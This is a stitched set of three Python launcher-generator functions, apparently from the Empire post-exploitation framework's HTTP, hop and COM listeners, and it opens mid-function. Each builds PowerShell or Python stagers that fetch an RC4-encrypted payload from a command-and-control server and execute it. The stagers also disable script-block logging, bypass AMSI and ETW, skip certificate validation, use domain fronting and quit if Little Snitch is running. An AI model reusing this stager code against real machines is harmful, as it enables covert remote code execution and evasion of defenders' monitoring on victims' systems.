"'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if headerKey.lower() == "host": stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};") stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module.") else: print helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False, ETWBypass=False): """ Generate a basic launcher for the specified listener. """ if not language: print( helpers.color( '[!] listeners/http_hop generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() if ETWBypass: stager += bypasses.ETWBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + "=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$' + helpers.generate_random_script_var_name("wc") + '.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Proxy.Credentials = $netcred;") # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode( "UTF-8") # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("wc") + ".Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser=%s;$t='%s';$hop='%s';" % ( helpers.obfuscate_call_home_address(host), stage0, listenerName) stager += helpers.randomize_capitalization( "$data=$" + helpers.generate_random_script_var_name("wc") + ".DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print(helpers.color(p, color='red')) if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode( "UTF-8") launcherBase += "import urllib2\n" if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase).decode( "UTF-8") launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % ( launchEncoded) return launcher else: return launcherBase else: print( helpers.color( "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." )) else: print( helpers.color( "[!] listeners/http_hop generate_launcher(): invalid listener name specification!" ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser='%s';$t='%s';" % (host, stage0) # add the RC4 packet to a header location stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) #Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True stager += "`r`n%s: %s" % (headerKey, headerValue) stager += "\";" #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization("$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};") stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")